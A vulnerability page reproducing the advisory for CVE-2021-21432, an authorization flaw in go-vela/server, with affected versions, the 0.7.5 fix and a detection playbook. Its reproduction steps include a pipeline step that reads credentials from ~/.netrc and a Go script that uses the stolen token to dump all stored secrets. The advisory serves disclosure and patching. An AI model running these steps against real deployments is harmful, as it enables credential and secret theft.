CVE-2021-21432 is a medium-severity (CVSS 6.5) CWE-285 vulnerability in github.com/go-vela/server. A fix is available for github.com/go-vela/server — see the affected versions and patch details below.
Reject unauthorized access with GitHub PATs
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/go-vela/serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce
-
Create Vela server
-
Login to Vela UI
-
Promote yourself to Vela administrator
UPDATE users SET admin = 't' WHERE name = <username>
-
Activate repository within Vela
-
Add
.vela.ymlto the repository with the following contentversion: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc -
Look at build logs to find the following content
$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token> -
Copy the password to be utilized in some later step
-
Add secret(s) to activated repo
-
Copy the following script into
main.gopackage main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } } -
Run the
main.gowith environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
Patches
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
v0.7.5or later
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No known workarounds
References
Are there any links users can visit to find out more?
- https://github.com/go-vela/server/pull/246
- https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
For more information
If you have any questions or comments about this advisory
- Email us at [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/go-vela/server | ≥ 0.7.0&&< 0.7.5 | 0.7.5go get github.com/go-vela/server@v0.7.5 |
Affected Products
velago-velaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-vela/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/go-vela/server to 0.7.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-21432 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2021-21432 in your dependencies?
Find it across Go, including transitive dependencies.